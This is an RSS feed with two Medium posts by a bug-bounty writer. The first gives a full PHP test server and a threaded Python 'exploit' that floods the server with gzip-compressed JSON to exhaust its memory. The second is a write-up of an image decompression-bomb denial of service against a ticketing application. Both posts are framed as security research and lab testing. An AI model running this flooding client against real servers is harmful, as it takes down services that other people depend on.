<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Eduardo Nascimento (retr0) on Medium]]></title>
        <description><![CDATA[Stories by Eduardo Nascimento (retr0) on Medium]]></description>
        <link>https://medium.com/@clocktower011?source=rss-19d79acf9ed5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aD16aIl5cjZTRCeg1MO3mw.jpeg</url>
            <title>Stories by Eduardo Nascimento (retr0) on Medium</title>
            <link>https://medium.com/@clocktower011?source=rss-19d79acf9ed5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 00:07:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@clocktower011/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Sent a Tiny GZIP Request to PHP. And It Died.]]></title>
            <link>https://medium.com/@clocktower011/i-sent-a-tiny-gzip-request-to-php-and-it-died-3f2f87fadcfc?source=rss-19d79acf9ed5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f2f87fadcfc</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Eduardo Nascimento (retr0)]]></dc:creator>
            <pubDate>Thu, 26 Nov 2026 20:09:56 GMT</pubDate>
            <atom:updated>2026-11-29T20:06:14.728Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*5jIkqAy3URxXUqCRCuhocw.gif" /></figure><h3>Introduction</h3><p>I was messing around with PHP recently, trying to understand how some built-in functions work and, more importantly, how much resources they actually consume.</p><p>You know, the usual stuff you do when you have too much free time and a perfectly innocent curiosity about making computers work harder than they should.</p><p>This time, I decided to play with gzdecode().</p><p>The idea was pretty simple: generate a JSON document, compress it using GZIP, send it to a PHP server, and see what happens.</p><p>Nothing too fancy.</p><p>Except that there’s something interesting about compressed requests: the amount of data you send isn’t necessarily the amount of data the server has to process.</p><p>And I wanted to see how that played out in practice.</p><h3>1. Let’s make some JSON</h3><p>I started with a small Python script to generate a JSON object.</p><pre>payload = {<br>    f&quot;user_{i}&quot;: &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;<br>    for i in range(num_keys)<br>}</pre><pre>json_data = json.dumps(payload).encode(&quot;utf-8&quot;)</pre><p>Nothing special here. Just a bunch of keys with repetitive values.</p><p>Then I compressed everything:</p><pre>compressed_data = gzip.compress(<br>    json_data,<br>    compresslevel=9<br>)</pre><p>I also added a little verification because trusting your own code without checking anything is how you end up debugging something for three hours.</p><pre>assert gzip.decompress(compressed_data) == json_data</pre><p>Now we have our compressed JSON.</p><p>The interesting part is the difference between the original size and the compressed size.</p><p>Repetitive data is extremely friendly to compression algorithms. This means we can end up with a request that looks pretty small from a network perspective.</p><p>But the server still has to deal with the original data after decompression.</p><h3>2. Hello, gzdecode()</h3><p>Now let’s move to PHP.</p><p>The first thing we need is the request body:</p><pre>$body = file_get_contents(&quot;php://input&quot;);</pre><p>At this point, PHP has the compressed data.</p><p>Since we’re sending:</p><pre>Content-Type: application/json<br>Content-Encoding: gzip</pre><p>we need to decompress it before decoding the JSON.</p><p>And that’s where this little guy enters the conversation:</p><pre>$json = gzdecode($body, 10 * 1024 * 1024);</pre><p>The second argument sets a maximum decompressed output size of 10 MB.</p><p>Pretty straightforward, right?</p><p>Well, not quite.</p><p>Decompression is only one part of the process. We still need to turn that giant string into something PHP can actually work with.</p><h3>3. json_decode() enters the chat</h3><p>Next, we have:</p><pre>$data = json_decode(<br>    $json,<br>    true,<br>    512,<br>    JSON_THROW_ON_ERROR<br>);</pre><p>And this is where things get a little more interesting.</p><p>Before decoding, we have a string containing JSON.</p><p>After decoding, PHP has to construct its own data structures.</p><p>For example, imagine sending thousands of keys:</p><pre>{<br>    &quot;user_1&quot;: &quot;AAAAAAAAAAAAAAAA&quot;,<br>    &quot;user_2&quot;: &quot;AAAAAAAAAAAAAAAA&quot;,<br>    &quot;user_3&quot;: &quot;AAAAAAAAAAAAAAAA&quot;<br>}</pre><p>PHP has to parse all those keys and values and create an array to represent them.</p><p>And here’s the funny part: the resulting PHP array can consume considerably more memory than the original JSON string.</p><p>Apparently, sending less data doesn’t mean PHP has less work to do. Who would’ve guessed?</p><h3>4. Let’s make PHP do a little more work</h3><p>I also wanted to simulate what an application might do after decoding the JSON.</p><p>So I added another array:</p><pre>$memoryStore = [];</pre><pre>foreach ($data as $key =&gt; $value) {<br>    $memoryStore[$key] = $value;<br>}</pre><p>Now we’re not just decompressing and decoding.</p><p>We’re also iterating over the resulting data and storing it in another application-level structure.</p><p>Of course, this is just a simplified simulation. Real applications might validate fields, access databases, serialize objects, or perform other operations.</p><p>Every additional operation can introduce more processing and memory overhead.</p><h3>5. Okay, what happens with multiple requests?</h3><p>This is where I started experimenting with Python threads.</p><p>Instead of sending one request, I created multiple threads that continuously submitted the same compressed payload.</p><p>And suddenly, we’re not talking about one PHP execution anymore.</p><p>We’re talking about multiple requests competing for server resources.</p><p>Each request can require memory for:</p><ul><li>The compressed request body.</li><li>The decompressed JSON string.</li><li>The decoded PHP array.</li><li>Additional application processing.</li></ul><p>And all of that can happen simultaneously.</p><p>Depending on the number of PHP-FPM workers, available memory, and server configuration, resource consumption can grow considerably.</p><p>My original experiment used an infinite loop in every thread. For a controlled investigation, it’s better to use a finite number of requests and measure each stage separately.</p><h3>Time to run the exploit.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*s7bsTWNtvfwMBcyeu-oF-Q.gif" /></figure><p>This is a video of me exploiting this vulnerabilty against my own vps used as the server and my local machine as the attacker.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLRdBiHDxguc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLRdBiHDxguc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FLRdBiHDxguc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f34832d96a7751030a1d86fd56ddd77c/href">https://medium.com/media/f34832d96a7751030a1d86fd56ddd77c/href</a></iframe><p>As you can see the OOM memory killer kills the apache and the server is complety out of readh until it gets restarted.</p><p>Now you can put everything together and explore it yourself.</p><h3>PHP — Server (index.php)</h3><p>This is the complete PHP implementation. It reads the request, detects GZIP, decompresses the body, decodes the JSON, simulates application processing, and returns timing and memory measurements. Put this code on your local apache to test and index.php.</p><pre><br>&lt;?php<br><br>error_reporting(E_ALL);<br>ini_set(&#39;display_errors&#39;, &#39;0&#39;);<br><br>header(&quot;Content-Type: application/json; charset=utf-8&quot;);<br><br>// Ensure errors are returned as JSON<br>function respond($status, $data) {<br>    http_response_code($status);<br>    echo json_encode($data, JSON_PRETTY_PRINT | JSON_INVALID_UTF8_SUBSTITUTE);<br>    exit;<br>}<br><br>try {<br><br>    if ($_SERVER[&#39;REQUEST_METHOD&#39;] !== &#39;POST&#39;) {<br>        respond(405, [&quot;error&quot; =&gt; &quot;POST required&quot;]);<br>    }<br><br>    // Read raw request<br>    $body = file_get_contents(&quot;php://input&quot;);<br><br>    if ($body === false) {<br>        respond(400, [&quot;error&quot; =&gt; &quot;Could not read request body&quot;]);<br>    }<br><br>    $compressedSize = strlen($body);<br><br>    // Read Content-Encoding<br>    $declaredEncoding = strtolower(<br>        trim($_SERVER[&#39;HTTP_CONTENT_ENCODING&#39;] ?? &#39;identity&#39;)<br>    );<br><br>    // Detect actual gzip signature<br>    $isGzip = strlen($body) &gt;= 2 &amp;&amp;<br>        substr($body, 0, 2) === &quot;\x1f\x8b&quot;;<br><br>    $actualEncoding = $isGzip ? &quot;gzip&quot; : &quot;identity&quot;;<br><br>    // Validate encoding<br>    if ($declaredEncoding === &quot;gzip&quot; &amp;&amp; !$isGzip) {<br>        respond(400, [<br>            &quot;error&quot; =&gt; &quot;Gzip declared but body is not gzip&quot;,<br>            &quot;declared_encoding&quot; =&gt; $declaredEncoding,<br>            &quot;actual_encoding&quot; =&gt; $actualEncoding,<br>            &quot;first_bytes&quot; =&gt; bin2hex(substr($body, 0, 16))<br>        ]);<br>    }<br><br>    if ($declaredEncoding === &quot;identity&quot; &amp;&amp; $isGzip) {<br>        respond(400, [<br>            &quot;error&quot; =&gt; &quot;Gzip body received without Content-Encoding&quot;<br>        ]);<br>    }<br><br>    if (!in_array($declaredEncoding, [&quot;gzip&quot;, &quot;identity&quot;], true)) {<br>        respond(415, [<br>            &quot;error&quot; =&gt; &quot;Unsupported encoding&quot;,<br>            &quot;encoding&quot; =&gt; $declaredEncoding<br>        ]);<br>    }<br><br>    // Decompress<br>    $start = microtime(true);<br><br>    if ($isGzip) {<br>        $json = gzdecode($body, 10 * 1024 * 1024);<br><br>        if ($json === false) {<br>            respond(400, [<br>                &quot;error&quot; =&gt; &quot;Gzip decompression failed&quot;,<br>                &quot;first_bytes&quot; =&gt; bin2hex(substr($body, 0, 16))<br>            ]);<br>        }<br>    } else {<br>        $json = $body;<br>    }<br><br>    $decompressionTime = microtime(true) - $start;<br><br>    $decodedSize = strlen($json);<br><br>    // Decode JSON<br>    $start = microtime(true);<br><br>    $data = json_decode($json, true, 512, JSON_THROW_ON_ERROR);<br><br>    $jsonDecodeTime = microtime(true) - $start;<br><br>    if (!is_array($data)) {<br>        respond(400, [&quot;error&quot; =&gt; &quot;JSON must contain an object or array&quot;]);<br>    }<br><br>    // Simulate application memory<br>    $memoryStore = [];<br><br>    foreach ($data as $key =&gt; $value) {<br>        $memoryStore[$key] = $value;<br>    }<br><br>    // Final response<br>    respond(200, [<br>        &quot;status&quot; =&gt; &quot;success&quot;,<br><br>        &quot;encoding&quot; =&gt; [<br>            &quot;declared&quot; =&gt; $declaredEncoding,<br>            &quot;detected&quot; =&gt; $actualEncoding,<br>            &quot;is_gzip&quot; =&gt; $isGzip<br>        ],<br><br>        &quot;sizes&quot; =&gt; [<br>            &quot;compressed_bytes&quot; =&gt; $compressedSize,<br>            &quot;decompressed_bytes&quot; =&gt; $decodedSize,<br>            &quot;compression_ratio&quot; =&gt; $compressedSize &gt; 0<br>                ? round($decodedSize / $compressedSize, 2)<br>                : null<br>        ],<br><br>        &quot;raw_preview&quot; =&gt; [<br>            &quot;hex&quot; =&gt; bin2hex(substr($body, 0, 32)),<br>            &quot;text&quot; =&gt; substr($body, 0, 32)<br>        ],<br><br>        &quot;timings&quot; =&gt; [<br>            &quot;decompression_ms&quot; =&gt; round($decompressionTime * 1000, 4),<br>            &quot;json_decode_ms&quot; =&gt; round($jsonDecodeTime * 1000, 4),<br>            &quot;total_ms&quot; =&gt; round((microtime(true) - $_SERVER[&#39;REQUEST_TIME_FLOAT&#39;]) * 1000, 4)<br>        ],<br><br>        &quot;memory_simulation&quot; =&gt; [<br>            &quot;stored_keys&quot; =&gt; array_keys($memoryStore),<br>            &quot;total_keys&quot; =&gt; count($memoryStore),<br>            &quot;memory_usage_bytes&quot; =&gt; memory_get_usage(true)<br>        ]<br>    ]);<br><br>} catch (Throwable $e) {<br><br>    respond(500, [<br>        &quot;error&quot; =&gt; &quot;Server processing error&quot;,<br>        &quot;message&quot; =&gt; $e-&gt;getMessage()<br>    ]);<br><br>}</pre><h3>Python — Client(exploit)</h3><p>Now let’s put together the exploit.</p><p>This version generates the JSON, compresses it, displays the compression statistics, and sends a finite number of requests using a configurable number of threads.</p><p>This is a exploit to be executed against your local apache.</p><pre><br>import requests<br>import sys<br>import json<br>import gzip<br>import time<br>import threading<br><br>URL = &quot;http://localhost/index.php&quot;<br><br># Number of JSON keys<br>num_keys = int(sys.argv[1]) if len(sys.argv) &gt; 1 else 100<br><br># Repetitive JSON payload<br>payload = {<br>    f&quot;user_{i}&quot;: &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;<br>    for i in range(num_keys)<br>}<br><br># Serialize JSON<br>json_data = json.dumps(payload).encode(&quot;utf-8&quot;)<br><br># Gzip compression<br>compressed_data = gzip.compress(json_data, compresslevel=9)<br><br># Verify locally<br>assert gzip.decompress(compressed_data) == json_data<br><br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/json&quot;,<br>    &quot;Content-Encoding&quot;: &quot;gzip&quot;<br>}<br><br>print(&quot;[+] JSON keys:&quot;, len(payload))<br>print(&quot;[+] Original size:&quot;, len(json_data), &quot;bytes&quot;)<br>print(&quot;[+] Compressed size:&quot;, len(compressed_data), &quot;bytes&quot;)<br>print(&quot;[+] GZIP signature:&quot;, compressed_data[:2].hex())<br><br>print(&quot;[+] Compression ratio:&quot;,<br>      round(len(json_data) / len(compressed_data), 2), &quot;x&quot;)<br><br># send request<br>def send_request():<br>    while 1:<br>        start = time.time()<br><br>        response = requests.post(<br>            URL,<br>            headers=headers,<br>            data=compressed_data,<br>            timeout=15<br>        )<br><br>        elapsed = time.time() - start<br><br>        print(&quot;\n[+] HTTP status:&quot;, response.status_code)<br>        print(&quot;[+] Request time:&quot;, round(elapsed, 5), &quot;seconds&quot;)<br><br>        print(&quot;\n[+] SERVER RESPONSE:&quot;)<br>        print(&quot;Response length:&quot;, len(response.content))<br>        print(&quot;Content-Type:&quot;, response.headers.get(&quot;Content-Type&quot;))<br><br>        try:<br>            <br>            print(json.dumps(response.json(), indent=4))<br>        except requests.exceptions.JSONDecodeError:<br>            print(&quot;Raw response:&quot;, repr(response.text))<br><br><br>threads = []<br>for i in range(0,int(sys.argv[2])):<br>    print(&quot;[+]setting threads:&quot;,i)<br>    t = threading.Thread(target=send_request)<br>    t.start()<br>    threads.append(t)<br><br>print(&quot;[+]start attack&quot;)<br>(threading.Event()).set()</pre><h3>Running the experiment</h3><p>Install the Python dependency:</p><pre>pip install requests</pre><p>Run the client:</p><pre>python3 client.py 10000 100</pre><p>The first argument controls the number of JSON keys, and the second controls the number of requests.</p><p>Start with small values and increase them gradually in your isolated test environment.</p><h3>Final thoughts</h3><p>What I find interesting about this experiment is that looking only at the size of an HTTP request can be misleading.</p><p>A request might be relatively small when transmitted, but the server still has to do all the work required to decompress and process it.</p><p>And when you combine that with concurrent requests, things can get even more interesting.</p><p>GZIP isn’t the problem by itself. The problem is accepting compressed input without properly considering decompression limits, memory consumption, request concurrency, and application-level processing.</p><p>So, the next time someone tells you that a request is harmless because it’s only a few hundred kilobytes, remember:</p><p><strong>The network might be having a good day. Your PHP workers might disagree.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f2f87fadcfc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a 1 MB Image Caused a Denial of Service]]></title>
            <link>https://medium.com/@clocktower011/how-a-1-mb-image-caused-a-denial-of-service-dce8641fed79?source=rss-19d79acf9ed5------2</link>
            <guid isPermaLink="false">https://medium.com/p/dce8641fed79</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Eduardo Nascimento (retr0)]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 21:12:05 GMT</pubDate>
            <atom:updated>2026-11-29T20:04:20.219Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*kSpZXqQR5ij5PmEWn_FYrg.gif" /></figure><p><em>A technical breakdown of image decompression, resource exhaustion, and an availability vulnerability in a ticketing application.</em></p><h3>Introduction</h3><p>During a security assessment of a ticketing application, I discovered that a relatively small image could trigger excessive resource consumption on the backend.</p><p>The interesting part?</p><p>An image of approximately <strong>1 MB could expand to nearly 1 GB when decompressed.</strong></p><p>When the application attempted to generate a thumbnail, image processing became extremely expensive, eventually affecting the availability of the service.</p><h3>Understanding the Attack Surface</h3><p>The application used a three-step attachment workflow:</p><ol><li>The client requested a pre-signed upload URL.</li></ol><p>2. The image was uploaded directly to Amazon S3.</p><p>3. The client submitted a comment referencing the uploaded attachment.</p><p>The relevant endpoint was:</p><pre>POST /api/v1/tickets/comment<br>Host: api.example.com</pre><p>The request included a reference to the uploaded object:</p><pre>{<br>  &quot;id&quot;: &quot;[TICKET_ID]&quot;,<br>  &quot;body&quot;: &quot;&lt;p&gt;Example comment&lt;/p&gt;&quot;,<br>  &quot;attachments&quot;: [<br>    {<br>      &quot;key&quot;: &quot;tmp/FILE_ID/IMAGE_ID&quot;,<br>      &quot;filename&quot;: &quot;compressed.png&quot;<br>    }<br>  ]<br>}</pre><p>The backend subsequently processed the attachment, including generating a thumbnail.</p><p><strong>This was where the vulnerability occurred.</strong></p><h3>The Problem: Image Decompression</h3><p>The uploaded image was approximately 1 MB, but its decompressed size was around 1 GB.</p><p>When the backend decoded the image, it required significantly more resources than the compressed file size suggested.</p><p>Because image processing appeared to occur during comment submission, expensive operations could interfere with normal application requests.</p><p>During testing, the malicious request eventually returned:</p><pre>HTTP/2 503 Service Unavailable</pre><p>The response took approximately 30 seconds.</p><h3>Demonstrating the Impact</h3><p>To determine whether the issue affected only the malicious request, I tested the application using two separate clients.</p><p>One submitted comments referencing the crafted image. The other submitted legitimate comments with normal images.</p><p>The legitimate client experienced the following results:</p><h4>Response Time: 2.4237 seconds<br>Status Code: 200 OK</h4><h4>Response Time: 14.6519 seconds<br>Status Code: 200 OK</h4><h4>Response Time: 60.8544 seconds<br>Status: Read Timeout</h4><p>The results suggested that the image-processing workload could affect unrelated requests.</p><p>This was the most important finding: the issue was not limited to processing the malicious attachment.</p><p>It presented a potential <strong>application-level Denial of Service (DoS)</strong>.</p><h3>Root Cause</h3><p>The likely underlying problem was insufficient resource validation during image processing.</p><p>Checking compressed file size alone is not enough.</p><p>An image’s decoded dimensions and pixel count determine its actual memory requirements.</p><p>Without proper restrictions, image processing can lead to:</p><ul><li>Excessive memory consumption.</li><li>CPU exhaustion.</li><li>Blocked application workers.</li><li>Increased response times.</li><li>Service unavailability.</li></ul><h3>Conclusion</h3><p>This vulnerability demonstrates how a seemingly harmless image upload can become an availability issue.</p><p>A 1 MB file triggered an expensive backend operation, causing legitimate requests to experience significant delays and timeouts.</p><p>Image uploads must be validated based on their decoded characteristics, not just their size on disk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dce8641fed79" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>